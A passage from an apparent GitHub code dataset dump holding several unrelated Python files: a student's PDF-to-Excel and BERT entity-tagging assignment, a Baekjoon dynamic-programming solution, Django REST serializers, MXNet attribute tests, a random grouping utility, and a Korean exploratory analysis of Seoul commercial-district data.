\\nland\\xa0plot\\xa0in Nanjing. \\n\\n2\\nKeppel O&M’s proprietary \\nRigCare Solution, \\nimplemented for the \\nfirst\\xa0time on Cantarell IV, \\nwill enhance the efficiency, \\nsafety and operability of \\nthe jackup rig. \\n\\n\", \"\")\r\n\r\n#this code initializes the excel file\r\nwb = Workbook()\r\nsheet = wb.active\r\n# this code divides the string into a list where each item is a paragraph\r\nstrings = stringToList(pymupdf_text)\r\nfor i in range(len(strings)):\r\n    strings[i] = strings[i].replace(\" \\n\", \" \")\r\n    c = sheet.cell(row = i+1 , column = 1)\r\n    c.value = strings[i]\r\n\r\n#print(\"\\n\\n\".join(strings))\r\nwb.save('Rey,Charles_PythonAssign1.xlsx')\r\n\r\n\r\n\r\n\r\n\"\"\" Assignment # 2 \"\"\"\r\n\r\nimport tabula\r\n\r\ntable = tabula.read_pdf(file, pages=69)\r\ntable = (table[0])\r\n\r\n\r\n\"\"\"table1 = table.iloc[:1]\r\ntable2 = table.iloc[1:]\r\nlist_un2 = list(table['Unnamed: 2'])\r\n\r\nfor i in range(1, len(list_un2)):\r\n     list_un2[i]= list_un2[i].replace(\" \", \",\")\r\n\"\"\"\r\n     \r\ntable[['Nomination' ,'Remuneration']] = table['Unnamed: 2'].str.split(\" \", 1, expand=True)\r\n\r\ntable['Unnamed: 2'] = table['Nomination']\r\ntable.insert(4, 'Remuneration2', table['Remuneration'])\r\ntable.drop(columns = ['Nomination','Remuneration'], axis=\"columns\", inplace=True)\r\n\r\ntable.columns = [\" \" if i > 1 else x for i, x in enumerate(table.columns, 1)]\r\n\r\n\r\ntable.to_excel(\"Rey,Charles_PythonAssign2.xlsx\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n\"\"\" Assignment # 3 \"\"\"\r\n\r\n\r\n# dataset preprocessing\r\n\r\ncorpus = open(r\"C:\\Users\\Charles Arthel Rey\\Downloads\\restauranttrain.bio.txt\")\r\ntrans_corpus = \"\"\r\n# this code extracts text from text file, corpus.\r\nfor line in corpus:\r\n    trans_corpus = trans_corpus + line\r\n\r\n# this code divides the string file per sentence \r\ntrans_corpus = list(trans_corpus.split(\"\\n\\n\")) # the goal is to make each item in this list equivalent to one sentence.   \r\nftrans_corpus = []\r\nfor i in range(len(trans_corpus)):\r\n    trans_corpus[i] = list(trans_corpus[i].split(\"\\n\"))\r\n    tups = []\r\n    for item in trans_corpus[i]:\r\n        tups.append(tuple(item.split(\"\\t\")))\r\n    \r\n    trans_corpus[i] = (tups)\r\n\r\ntrans_corpus = [ele for ele in trans_corpus if len(ele) > 1]\r\n\r\nsentences = []\r\nall_entities = []\r\nfor grplist in trans_corpus:\r\n    single_sentence = []\r\n    single_entities = []\r\n    for tups in grplist:\r\n        single_sentence.append(tups[1])\r\n        if tups[0] == 'O':\r\n            del tups\r\n        else:\r\n            single_entities.append(tups)\r\n    \r\n    sentences.append(\" \".join(single_sentence))\r\n    all_entities.append(single_entities)\r\n    \r\nTrain_Entities = []\r\nfor i in range(len(all_entities)):\r\n    entities = []\r\n    for tuples in all_entities[i]:\r\n        index = (sentences[i].index(tuples[1]), sentences[i].index(tuples[1])+len(tuples[1]), tuples[0])\r\n        entities.append(index)\r\n\r\n    Train_Entities.append(entities)\r\n\r\n# this code aims to delete all items has no entities in its sentence\r\n\r\nall_entities = [ele for ele in all_entities if Train_Entities[all_entities.index(ele)] !=  []]\r\nsentences = [ele for ele in sentences if Train_Entities[sentences.index(ele)] !=  []]\r\nTrain_Entities =  [ele for ele in Train_Entities if ele != []] \r\n\r\nTRAIN_DATA = []\r\nfor i in range(len(Train_Entities)):\r\n    train_tups = (sentences[i], {'entities': Train_Entities[i]})\r\n    TRAIN_DATA.append(train_tups)\r\n    \r\n\"\"\" TRAIN_DATA now follows the format of the dataset required to be fed to Spacy. \"\"\"\r\n\r\n\r\nimport tensorflow as tf\r\nfrom transformers import TFAutoModel, AutoTokenizer\r\nimport numpy as np\r\nimport nltk\r\nfrom sklearn.model_selection import train_test_split\r\n\r\n\r\n\r\nTOKENIZER = AutoTokenizer.from_pretrained(\"bert-base-cased\")\r\nBERT = TFAutoModel.from_pretrained(\"bert-base-cased\")\r\n\r\n\r\nBERT_TRAIN_DATA = [x for l in trans_corpus for x in l]\r\ntags0 = dict(enumerate((set([ele[0] for ele in BERT_TRAIN_DATA]))))\r\ntags = {v: k for k, v in tags0.items()}\r\n\r\ntrain_ds, test_ds = train_test_split(BERT_TRAIN_DATA, test_size=0.20, random_state=42)\r\n\r\n\r\nSEQ_LEN = 20\r\n\r\ndef tokenize(sentence):\r\n    \r\n    tokens = TOKENIZER.encode_plus(sentence, max_length=SEQ_LEN,\r\n                                   truncation=True, padding='max_length',\r\n                                   add_special_tokens=True, return_attention_mask=True,\r\n                                   return_token_type_ids=False, return_tensors='tf')\r\n    tokenss = TOKENIZER.tokenize(sentence)\r\n    return tokens['input_ids'], tokens['attention_mask'], tokenss\r\n\r\ndef INITIALIZE(_ds):\r\n    all_text = []\r\n    all_tags = []\r\n    for tupl in _ds:\r\n        all_text.append(tupl[1])\r\n        all_tags.append(tupl[0])\r\n\r\n    all_tags = [tags[x] for x in all_tags]\r\n\r\n    arr = np.array(all_tags)  # take sentiment column in df as array\r\n    labels = np.zeros((arr.size, arr.max()+1))  # initialize empty (all zero) label array\r\n    labels[np.arange(arr.size), arr] = 1  # add ones in indices where we have a value\r\n    \r\n    # initialize two arrays for input tensors\r\n    Xids = np.zeros((len(all_text), SEQ_LEN))\r\n    Xmask = np.zeros((len(all_text), SEQ_LEN))\r\n    sentence_tokens = []\r\n\r\n    # loop through data and tokenize everything\r\n    for i, sentence in enumerate(all_text):\r\n        Xids[i, :], Xmask[i, :], tokens = tokenize(sentence)\r\n        sentence_tokens.append(tokens)\r\n\r\n    # create tensorflow dataset object\r\n    dataset = tf.data.Dataset.from_tensor_slices((Xids, Xmask, labels))\r\n\r\n    # restructure dataset format for BERT\r\n    def map_func(input_ids, masks, labels):\r\n        return {'input_ids': input_ids, 'attention_mask': masks}, labels\r\n  \r\n    dataset  = dataset.map(map_func)  # apply the mapping function\r\n    \r\n    return dataset.shuffle(10000).batch(32)\r\n\r\ndataset_train = INITIALIZE(train_ds)\r\ndataset_test = INITIALIZE(test_ds)\r\n\r\n# build the model\r\ninput_ids = tf.keras.layers.Input(shape=(50,), name='input_ids', dtype='int32')\r\nmask = tf.keras.layers.Input(shape=(50,), name='attention_mask', dtype='int32')\r\n\r\nembeddings = BERT(input_ids, attention_mask=mask)[0]  # we only keep tensor 0 (last_hidden_state)\r\n\r\nX = tf.keras.layers.GlobalMaxPool1D()(embeddings)  # reduce tensor dimensionality\r\nX = tf.keras.layers.BatchNormalization()(X)\r\nX = tf.keras.layers.Dense(128, activation='relu')(X)\r\nX = tf.keras.layers.Dropout(0.1)(X)\r\ny = tf.keras.layers.Dense(17, activation='softmax', name='outputs')(X)  # adjust based on number of sentiment classes\r\n\r\nmodel = tf.keras.Model(inputs=[input_ids, mask], outputs=y)\r\n\r\n# freeze the BERT layer\r\nmodel.layers[2].trainable = False\r\n\r\n# compile the model\r\noptimizer = tf.keras.optimizers.Adam(0.01)\r\nloss = tf.keras.losses.CategoricalCrossentropy()\r\nacc = tf.keras.metrics.CategoricalAccuracy('accuracy')\r\n\r\nmodel.compile(optimizer=optimizer, loss=loss, metrics=[acc])\r\n\r\nhistory = model.fit(dataset_train, epochs = 1)\r\n\r\n#history = model.fit({'input_ids':Xids_train, 'attention_mask': Xmask_train}, Xlabels_train, epochs =1)\r\n\r\ntest_loss, test_acc = model.evaluate(dataset_test, verbose = 2)\r\n\r\n# this code will predict the entities when inputting a text. \r\n\r\ndef Prediction(text):\r\n    predicts = nltk.word_tokenize(text)\r\n\r\n    # initialize two arrays for input tensors\r\n    Xids_pred = np.zeros((len(predicts), SEQ_LEN))\r\n    Xmask_pred = np.zeros((len(predicts), SEQ_LEN))\r\n    sentence_tokens_pred = []\r\n\r\n    # loop through data and tokenize everything\r\n    for i, sentence in enumerate(predicts):\r\n        Xids_pred[i, :], Xmask_pred[i, :], tokens_pred = tokenize(sentence)\r\n        sentence_tokens_pred.append(tokens_pred)\r\n    \r\n    pred = model.predict({'input_ids':Xids_pred, 'attention_mask': Xmask_pred})\r\n    pred = np.argmax(pred, axis = 1)\r\n    results = []\r\n    for item in pred:\r\n        results.append(tags0[item])\r\n    \r\n    return results\r\n\r\n\r\npred = Prediction(\"During quanrantine, it is now allowed to dine inside Jollibee\")\r\nprint(pred)","repo_name":"chrlsrey/Coding-Assignments","sub_path":"Rey,Charles_Python Assignment.py","file_name":"Rey,Charles_Python Assignment.py","file_ext":"py","file_size_in_byte":8980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27363331546","text":"from collections import defaultdict\n\nN = int(input())\nMOD = 1_000_000_000\n\n# dp[(길이, 끝자리수, 비트마스크)] = 개수\n# 비트마스크 9 8 7 6 5 4 3 2 1 0 등장 여부\ndp = defaultdict(int)\nfor last in range(1, 10):\n    dp[(1, last, 1<<last)] = 1\n\nfor L in range(2, N+1):\n    for last in range(10):\n        for B in range(1024):\n            # 100 -> 101이 된 경��랑, 101 -> 101 된 경우랑 겹치므로 += 해야함\n            if last == 0:\n                dp[(L, last, B | 1<<last)] += dp[(L-1, last+1, B)] # 1 -> 0\n            elif last == 9:\n                dp[(L, last, B | 1<<last)] += dp[(L-1, last-1, B)] # 8 -> 9\n            else:\n                dp[(L, last, B | 1<<last)] += dp[(L-1, last+1, B)] + dp[(L-1, last-1, B)]\n            dp[(L, last, B | 1<<last)] %= MOD\n\nprint(sum(dp[(N, i, 1023)] for i in range(10)) % MOD)\n\n# 제시값 126461847755\n# 출력값    461847755\n# example = 0\n# for L in range(1, 41):\n#     example += sum(dp[(L, last, 1023)] for last in range(10))\n# print(example % mod)\n\n'''\nN = 11\n8(9876543210)\n(9876543210)1\n1(0123456789)\n'''","repo_name":"lake041/algorithm","sub_path":"baekjoon/.etc/Bitmasking/Gold 1, 계단 수.py","file_name":"Gold 1, 계단 수.py","file_ext":"py","file_size_in_byte":1086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"32497481767","text":"from rest_framework.serializers import ModelSerializer\nfrom rest_framework import serializers\nfrom videos.serializers import VideoSerializer\nfrom .models import Actor, Director, Genre, Series\nfrom wishlists.models import Wishlist\n\nclass GenreSerializer(ModelSerializer):\n    class Meta:\n        model = Genre\n        fields = \"__all__\"\n\nclass ActorSerializer(ModelSerializer):\n    class Meta:\n        model = Actor\n        fields = \"__all__\"\n\nclass DirectorSerializer(ModelSerializer):\n    class Meta:\n        model = Director\n        fields = \"__all__\"\n\nclass SeriesListSerializer(ModelSerializer):\n    class Meta:\n        model = Series\n        fields = (\n            \"id\",\n            \"title\",\n            \"possible_age\",\n            \"genre\",\n            \"poster_url\",\n            \"is_interested\",\n        )\n\n    is_interested = serializers.SerializerMethodField()\n\n    genre = GenreSerializer(\n        read_only=True,\n    )\n\n    def get_is_interested(self, series):\n        request = self.context.get(\"request\")\n        if request:\n            if request.user.is_authenticated:\n                return Wishlist.objects.filter(\n                    user=request.user,\n                    series__pk=series.pk,\n                ).exists()\n        return False\n\n\n\nclass SeriesDetailSerializer(ModelSerializer):\n    class Meta:\n        model = Series\n        fields = \"__all__\"\n\n    video = VideoSerializer(\n        read_only=True,\n        many=True,\n    )\n\n    genre = GenreSerializer(\n        read_only=True,\n    )\n\n    actor = ActorSerializer(\n        read_only=True,\n        many=True,\n    )\n\n    director = DirectorSerializer(\n        read_only=True,\n        many=True,\n    )\n\n\n","repo_name":"rujino/watcha-clone-backend","sub_path":"series/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7086808256","text":"import os\nimport mxnet as mx\nfrom common import models\nimport pickle as pkl\n\ndef test_attr_basic():\n    with mx.AttrScope(group='4', data='great'):\n        data = mx.symbol.Variable('data',\n                                  attr={'dtype':'data',\n                                        'group': '1'})\n        gdata = mx.symbol.Variable('data2')\n    assert gdata.attr('group') == '4'\n    assert data.attr('group') == '1'\n    data2 = pkl.loads(pkl.dumps(data))\n    assert data.attr('dtype') == data2.attr('dtype')\n\ndef test_operator():\n    data = mx.symbol.Variable('data')\n    with mx.AttrScope(group='4', data='great'):\n        fc1 = mx.symbol.Activation(data, act_type='relu')\n        with mx.AttrScope(init_bias='0.0'):\n            fc2 = mx.symbol.FullyConnected(fc1, num_hidden=10, name='fc2')\n    assert fc1.attr('data') == 'great'\n    assert fc2.attr('data') == 'great'\n    assert fc2.attr('init_bias') == '0.0'\n    fc2copy = pkl.loads(pkl.dumps(fc2))\n    assert fc2copy.tojson() == fc2.tojson()\n    fc2weight = fc2.get_internals()['fc2_weight']\n\n\ndef test_list_attr():\n    data = mx.sym.Variable('data', attr={'mood': 'angry'})\n    op = mx.sym.Convolution(data=data, name='conv', kernel=(1, 1),\n                            num_filter=1, attr={'mood': 'so so'})\n    assert op.list_attr(recursive=True) == {'data_mood': 'angry', 'conv_mood': 'so so',\n                                            'conv_weight_mood': 'so so', 'conv_bias_mood': 'so so'}\n    assert op.list_attr() == {'mood': 'so so'}\n\n\nif __name__ == '__main__':\n    test_attr_basic()\n    test_operator()\n    test_list_attr()\n","repo_name":"nd-z/fmxnet","sub_path":"mxnet/tests/python/unittest/test_attr.py","file_name":"test_attr.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"3"}
+{"seq_id":"73136337040","text":"import random\nimport sys\n\ndef choose(n, k):\n    \"\"\"\n    A fast way to calculate binomial coefficients by Andrew Dalke (contrib).\n    \"\"\"\n    if 0 <= k <= n:\n        ntok = 1\n        ktok = 1\n        for t in range(1, min(k, n - k) + 1):\n            ntok *= n\n            ktok *= t\n            n -= 1\n        return ntok // ktok\n    else:\n        return 0\n\n\ndef max_groups(num_players):\n    \"\"\"Return max number of groupings before groups have to repeat\"\"\"\n    if num_players == 2 or num_players == 3:\n        return 1\n    if num_players > 8: #thousands of grps available\n        return sys.maxsize #so return infinity\n    maxn = 0\n    for i in range(num_players//2 + 1):\n        if i == (num_players-1) or i == 1:\n            continue\n        if i == 0 and num_players <= 9:\n            maxn += 1\n        else:\n            # eliminate complementary chooses, so halve 4C2, 6C3, etc.\n            comb = (choose(num_players, i) if (i != num_players / 2)\n                    else choose(num_players, i) // 2)\n            maxn += comb * max_groups(num_players-i)\n    return maxn\n\n\ndef _random_grps(players_set, grouped=None):\n    \"\"\"\n    Returns a randomized list of groups from a list of player id's\n    \"\"\"\n    players = players_set.copy()\n    if len(players) == 1:\n        return []\n    if len(players) == 3:\n        try:\n            grouped.append(players)\n        except AttributeError:\n            grouped = [players]\n        return grouped\n    if not players:\n        return grouped\n\n    max_players = 10 if len(players) > 9 else len(players) + 1\n    grp_size = random.randrange(2, max_players)\n    # choose random numbers until grp_size valid\n    while (len(players) - grp_size == 1):\n        grp_size = random.randrange(2, max_players)\n\n    group = set(random.sample(players, grp_size))\n    if not grouped:\n        grouped = [group]\n    else:\n        grouped.append(group)\n    return _random_grps(players.difference(group), grouped)\n","repo_name":"CSCI-499003-Fall2018/semester-project-ice2meetu","sub_path":"gameplay/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20212569180","text":"# 노트\n'''\npip freeze > requirements.txt <br/>\npip install -r requirements.txt\n'''\n\n# EDA\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nimport matplotlib.gridspec as gridspec\nfrom matplotlib import font_manager, rc\nfont_name = font_manager.FontProperties(fname=\"c:/Windows/Fonts/malgun.ttf\").get_name()\nplt.rc('font', family=font_name)\nimport matplotlib\nmatplotlib.rcParams['axes.unicode_minus'] = False\n\n# API DATA LOAD\nimport time\nimport urllib.request\nimport json\nfrom pandas.io.json import json_normalize\nfrom pandas import ExcelWriter\nimport xlsxwriter\n\n# HYPOTHESIS TEST\nfrom scipy import stats\n\n# FEATURE ENGINEERING & MODELLING\nimport numpy as np\nfrom sklearn.preprocessing import OneHotEncoder\nfrom sklearn import preprocessing\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import train_test_split\nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\nfrom xgboost import XGBRegressor\nfrom xgboost import plot_importance\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.model_selection import GridSearchCV\n\n##################### DATA LOAD #####################\n\n# PART 1 : DATE LOAD\n# 서울시 우리마을가게 상권분석서비스(상권배후지-추정매출) 2020 데이터 추출\n'''\n2020년 상권배후지-추정매출 데이터가 CSV로 추출이 불가\nAPI를 이용 데이터 추출후 2019년 2020년 데이터를 엑셀에 병합\n'''\n점포_2019 = pd.DataFrame()\nfor i in range(1,191658-152,1000-1):\n    url = 'http://openapi.seoul.go.kr:8088/{}/json/VwsmTrdhlSelngQq/{}/{}/2020'.format('api',i, i + 999)\n    response = urllib.request.urlopen(url)\n    json_str = response.read().decode(\"utf-8\")\n\n    json_object = json.loads(json_str)\n    body = [json_object['VwsmTrdhlSelngQq']['row']]\n    append_data = json_normalize(json_object['VwsmTrdhlSelngQq']['row'])\n    점포_2019 = 점포_2019.append(append_data)\n\nwriter = pd.ExcelWriter('data/Book1.xlsx', engine='xlsxwriter')\n점포_2019.to_excel(writer, index=False, header=True)\nwriter.save()\n\n# PART 2 : CSV Load\n상주인구 = pd.read_csv('data/001_상주인구.csv')\n소득소비 = pd.read_csv('data/002_소득소비.csv')\n아파트 = pd.read_csv('data/003_아파트.csv')\n점포 = pd.read_csv('data/004_점포.csv')\n직장인구 = pd.read_csv('data/005_직장인구.csv')\n집객시설 = pd.read_csv('data/006_집객시설.csv')\n추정매출 = pd.read_csv('data/007_추정매출.csv')\n생활인구 = pd.read_csv('data/008_생활인구.csv')\n\n# PART 3 : DEFINE FUNCTION\nplot_range = ['2020Q1','2020Q2','2020Q3','2020Q4','2021Q1']\n\n##################### EDA START #####################\n\n# EDA PART 1 : 상주인구\n'''\n1.정의 \n* 총_상주인구_수\n의미 : 조사대상인구를 계속 거주하고 있는 지역에 귀속시켜 계상한 인구를 말한다. 조사대상인구를 결정하는 한 방법으로서, 현재인구와 대조되는 개념이다. 현재인구는 조사시점에 실제로 있었던 장소에 귀속시켜 계상한 인구를 말한다.\n* 총_가구_수\n의미 : 현재 지역에 거주하는 가구수\n\n그래프 1 분기별 총 상주인구와 가구수(Million) : 인구수 확인\n그래프 2 상권코드별 상위10 상주인구&가구수 : 상권코드와 가구수 중복여부확인\n그래프 3 상권코드별 하위10 상주인구&가구수 : 상권코드와 가구수 중복여부확인\n'''\n상주인구['분기_코드'] = 상주인구['기준_년_코드'].astype(str) + 'Q' + 상주인구['기준_분기_코드'].astype(str)\neda_분기별_상주인구 = 상주인구.groupby(['기준_년_코드','기준_분기_코드','분기_코드']).agg(총_상주인구_수=('총_상주인구_수','sum'), 총_가구_수=('총_가구_수','sum')).reset_index()\neda_분기별_상주인구['총_상주인구_수'] = eda_분기별_상주인구['총_상주인구_수']/1000000\neda_분기별_상주인구['총_가구_수'] = eda_분기별_상주인구['총_가구_수']/1000000\n\neda_상권코드_상주인구 = 상주인구.groupby(['상권_코드','상권_코드_명']).agg(총_상주인구_수=('총_상주인구_수','sum'), 총_가구_수=('총_가구_수','sum')).reset_index()\neda_상권코드_상주인구['총_상주인구_수'] = eda_상권코드_상주인구['총_상주인구_수']/1000000\neda_상권코드_상주인구['총_가구_수'] = eda_상권코드_상주인구['총_가구_수']/1000000\n\nedatop_상권코드_상주인구 = eda_상권코드_상주인구.sort_values(by='총_상주인구_수', ascending=False).head(10)\nedabtm_상권코드_상주인구 = eda_상권코드_상주인구.sort_values(by='총_상주인구_수', ascending=False).tail(10)\nedatop_상권코드_가구수 = eda_상권코드_상주인구.sort_values(by='총_가구_수', ascending=False).head(10)\nedabtm_상권코드_가구수 = eda_상권코드_상주인구.sort_values(by='총_가구_수', ascending=False).tail(10)\n\n# 직장인구(PART5)와의 비교를 위한 세팅\neda_상주인구 = edatop_상권코드_상주인구['상권_코드_명']\neda_상권별_상주인구 = 상주인구[상주인구['상권_코드_명'].isin(eda_상주인구)]\neda_상권별_상주인구 = eda_상권별_상주인구.groupby(['기준_년_코드','기준_분기_코드','분기_코드', '상권_코드_명']).agg(\n    총_상주인구_수=('총_상주인구_수','sum'),\n    총_가구_수=('총_가구_수','sum')\n).reset_index()\n\n# 그래프 1\nfig, ax = plt.subplots()\nax.plot(eda_분기별_상주인구['분기_코드'], eda_분기별_상주인구['총_상주인구_수'], label='Total Residents')\nax.plot(eda_분기별_상주인구['분기_코드'], eda_분기별_상주인구['총_가구_수'], label='Total Households')\nax.set_title(\"분기별 총 상주인구와 가구수(Million)\", fontsize=18)\nax.set_xlabel('분기')\nax.set_ylabel('인구(M)')\nax.grid(linewidth=0.3)\nplt.axvline(x='2020Q1', color='darkred', linestyle='--')\nplt.text('2019Q4',1,'COVID19',rotation=90, color='darkred')\nplt.xticks(rotation=45)\nplt.legend(loc=\"upper right\")\nplt.show()\n\n# 그래프 2\nfig, (ax1,ax2) = plt.subplots(1,2)\nax1.barh(edatop_상권코드_상주인구['상권_코드_명'].astype(str), edatop_상권코드_상주인구['총_상주인구_수'], color='blue')\nax1.grid(True)\nax1.set_title(\"상권코드별 상위10 상주인구\", fontsize=15)\nax1.set_ylabel('인구(M)')\nax2.barh(edatop_상권코드_가구수['상권_코드_명'].astype(str), edatop_상권코드_가구수['총_가구_수'], color='skyblue')\nax2.grid(True)\nax2.set_title(\"상권코드별 상위10 가구수\", fontsize=15)\nax2.set_ylabel('인구(M)')\nfig.suptitle('상권코드별 상위10 상주인구&가구수', fontsize=20)\nplt.show(block=True)\n\n# 그래프 3\nfig, (ax1,ax2) = plt.subplots(1,2)\nax1.barh(edabtm_상권코드_상주인구['상권_코드_명'].astype(str), edabtm_상권코드_상주인구['총_상주인구_수'], color='red')\nax1.grid(True)\nax1.set_title(\"상권코드별 하위10 상주인구\", fontsize=15)\nax1.set_ylabel('인구(M)')\nax2.barh(edabtm_상권코드_가구수['상권_코드_명'].astype(str), edabtm_상권코드_가구수['총_가구_수'], color='pink')\nax2.grid(True)\nax2.set_title(\"상권코드별 하위10 가구수\", fontsize=15)\nax2.set_ylabel('인구(M)')\nfig.suptitle('상권코드별 하위 10 상주인구&가구수', fontsize=20)\nplt.show(block=True)\n\n# EDA PART 2 : 소득소비\n'''\n**** 2020Q1 이후로 데이터는 업데이트 되어 있지 않았다.\n질문1 : 코로나 시기에 소득이 줄어들었는가 ?\n그래프 1 [분기별 소득과 지출 그래프] : 아니다. 코로나시기 이전 2018Q4에 이미 소득금액은 급격하게 줄어들었다. 하지만, \n지출금액은 2018Q4에도 지속적으로 비슷한 경사를 유지.\n질문2 : 코로나 시기에 데이터는 무엇을 의미하나.\n그래프 2 [2020 분기별 소득과 지출 그래프] : 2020Q1부터 소득��� 지출이 전혀 변화가 없다. 수치가 업데이트 되지 않는것으로 파악된다.\n질문3 : 종류별 지출내역은 코로나시기에 무엇을 말해주는가?\n그래프 3 [분기별 지출내역 그래프] : 동일하게 2020Q1 이후 업데이트가 되지않았으며, 그 이전에도 별다른 UP&DOWN이 없음\n'''\n소득소비['분기_코드'] = 소득소비['기준_년_코드'].astype(str) + 'Q' + 소득소비['기준_분기_코드'].astype(str)\n# NOTE : Omission of '소득_구간_코드'\n소득소비_columns = ['월_평균_소득_금액','지출_총금액', '식료품_지출_총금액','의류_신발_지출_총금액','생활용품_지출_총금액',\n                '의료비_지출_총금액','교통_지출_총금액','여가_지출_총금액','문화_지출_총금액','교육_지출_총금액','유흥_지출_총금액']\n\neda_분기별_소득소비 = 소득소비.groupby(['기준_년_코드','기준_분기_코드','분기_코드']).agg(\n    월_평균_소득_금액=('월_평균_소득_금액','sum'),\n    지출_총금액=('지출_총금액', 'sum'),\n    식료품_지출_총금액=('식료품_지출_총금액', 'sum'),\n    의류_신발_지출_총금액=('의류_신발_지출_총금액', 'sum'),\n    생활용품_지출_총금액=('생활용품_지출_총금액', 'sum'),\n    의료비_지출_총금액=('의료비_지출_총금액', 'sum'),\n    교통_지출_총금액=('교통_지출_총금액', 'sum'),\n    여가_지출_총금액=('여가_지출_총금액', 'sum'),\n    문화_지출_총금액=('문화_지출_총금액', 'sum'),\n    교육_지출_총금액=('교육_지출_총금액', 'sum'),\n    유흥_지출_총금액=('유흥_지출_총금액', 'sum'),\n).reset_index()\n\neda_분기별_소득소비[소득소비_columns] = eda_분기별_소득소비[소득소비_columns]/100000000\neda_2020_소득소비 = eda_분기별_소득소비[eda_분기별_소득소비['분기_코드'].isin(plot_range)]\n\n# 분기별 소득소비 (전체분기)\nfig, (ax1,ax2) = plt.subplots(2,1)\nax1.plot(eda_분기별_소득소비['분기_코드'], eda_분기별_소득소비['월_평균_소득_금액'])\nax1.set_title(\"분기별 소득금액(억)\", fontsize=15)\nax1.set_ylabel('소득금액(억)')\nax1.grid(linewidth=0.3)\nax1.axvline(x='2020Q1', color='darkred', linestyle='--')\nax2.plot(eda_분기별_소득소비['분기_코드'], eda_분기별_소득소비['지출_총금액'])\nax2.set_title(\"분기별 지출금액(억)\", fontsize=15)\nax2.set_ylabel('지출금액(억)')\nax2.grid(linewidth=0.3)\nax2.axvline(x='2020Q1', color='darkred', linestyle='--')\nplt.setp(ax1.get_xticklabels(), rotation=45)\nplt.setp(ax2.get_xticklabels(), rotation=45)\nfig.subplots_adjust(wspace=0.2, hspace=0.5)\nfig.suptitle('분기별 소득&지출 금액(억)', fontsize=20)\nplt.show()\n\n# 분기별 소득소비 (2020Q1부터)plot_range\nfig, (ax1,ax2) = plt.subplots(2,1)\nax1.plot(eda_2020_소득소비['분기_코드'], eda_2020_소득소비['월_평균_소득_금액'])\nax1.set_title(\"2020분기 소득금액(억)\", fontsize=15)\nax1.set_ylabel('소득금액(억)')\nax1.grid(linewidth=0.3)\nax1.axvline(x='2020Q1', color='darkred', linestyle='--')\nax2.plot(eda_2020_소득소비['분기_코드'], eda_2020_소득소비['지출_총금액'])\nax2.set_title(\"2020분기 지출금액(억)\", fontsize=15)\nax2.set_ylabel('지출금액(억)')\nax2.grid(linewidth=0.3)\nax2.axvline(x='2020Q1', color='darkred', linestyle='--')\nplt.setp(ax1.get_xticklabels(), rotation=45)\nplt.setp(ax2.get_xticklabels(), rotation=45)\nfig.subplots_adjust(wspace=0.2, hspace=0.5)\nfig.suptitle('2020분기 소득&지출 금액(억)', fontsize=20)\nplt.show()\n\nfig, ax = plt.subplots()\nax.plot(eda_분기별_소득소비['분기_코드'], eda_분기별_소득소비['식료품_지출_총금액'], label='식료품_지출_총금액')\nax.plot(eda_분기별_상주인구['분기_코드'], eda_분기별_소득소비['의류_신발_지출_총금액'], label='의류_신발_지출_총금액')\nax.plot(eda_분기별_상주인구['분기_코드'], eda_분기별_소득소비['생활용품_지출_총금액'], label='생활용품_지출_총금액')\nax.plot(eda_분기별_상주인구['분기_코드'], eda_분기별_소득소비['의료비_지출_총금액'], label='의료비_지출_총금액')\nax.plot(eda_분기별_상주인구['분기_코드'], eda_분기별_소득소비['교통_지출_총금액'], label='교통_지출_총금액')\nax.plot(eda_분기별_상주인구['분기_코드'], eda_분기별_소득소비['여가_지출_총금액'], label='여가_지출_총금액')\nax.plot(eda_분기별_상주인구['분기_코드'], eda_분기별_소득소비['문화_지출_총금액'], label='문화_지출_총금액')\nax.plot(eda_분기별_상주인구['분기_코드'], eda_분기별_소득소비['교육_지출_총금액'], label='교육_지출_총금액')\nax.plot(eda_분기별_상주인구['분기_코드'], eda_분기별_소득소비['유흥_지출_총금액'], label='유흥_지출_총금액')\nax.set_title(\"분기별 지출내역(억)\", fontsize=18)\nax.set_xlabel('분기')\nax.set_ylabel('지출금액(억)')\nax.grid(linewidth=0.3)\nplt.axvline(x='2020Q1', color='darkred', linestyle='--')\nplt.text('2019Q4',1,'COVID19',rotation=90, color='darkred')\nplt.xticks(rotation=45)\nplt.legend(loc=\"upper right\")\nplt.show()\n\n# EDA PART 3 : 아파트\n'''\n***** 2019Q3와 2019Q4까지의 데이터 없음. 나머지 데이터는 존재함.\n분기별 아파트 평균시가(억)와 단지수 그래프 : 2019Q3와 2019Q4 데이터 소실\n'''\n아파트['분기_코드'] = 아파트['기준_년_코드'].astype(str) + 'Q' + 아파트['기준_분기_코드'].astype(str)\neda_분기별_아파트 = 아파트.groupby(['기준_년_코드','기준_분기_코드','분기_코드']).agg(\n    아파트_단지_수=('아파트_단지_수','sum'),\n    아파트_평균_시가=('아파트_평균_시가', 'sum')\n).reset_index()\n\neda_분기별_아파트['아파트_평균_시가'] = eda_분기별_아파트['아파트_평균_시가']/100000000\n\nfig, (ax1,ax2) = plt.subplots(2,1)\nax1.plot(eda_분기별_아파트['분기_코드'], eda_분기별_아파트['아파트_평균_시가'])\nax1.set_title(\"분기별 아파트 평균시가(억)\", fontsize=15)\nax1.set_ylabel('아파트 시가(억)')\nax1.grid(linewidth=0.3)\nax1.axvline(x='2020Q1', color='darkred', linestyle='--')\nax2.plot(eda_분기별_아파트['분기_코드'], eda_분기별_아파트['아파트_단지_수'])\nax2.set_title(\"아파트 단지수)\", fontsize=15)\nax2.set_ylabel('단지수')\nax2.grid(linewidth=0.3)\nax2.axvline(x='2020Q1', color='darkred', linestyle='--')\nplt.setp(ax1.get_xticklabels(), rotation=45)\nplt.setp(ax2.get_xticklabels(), rotation=45)\nfig.subplots_adjust(wspace=0.2, 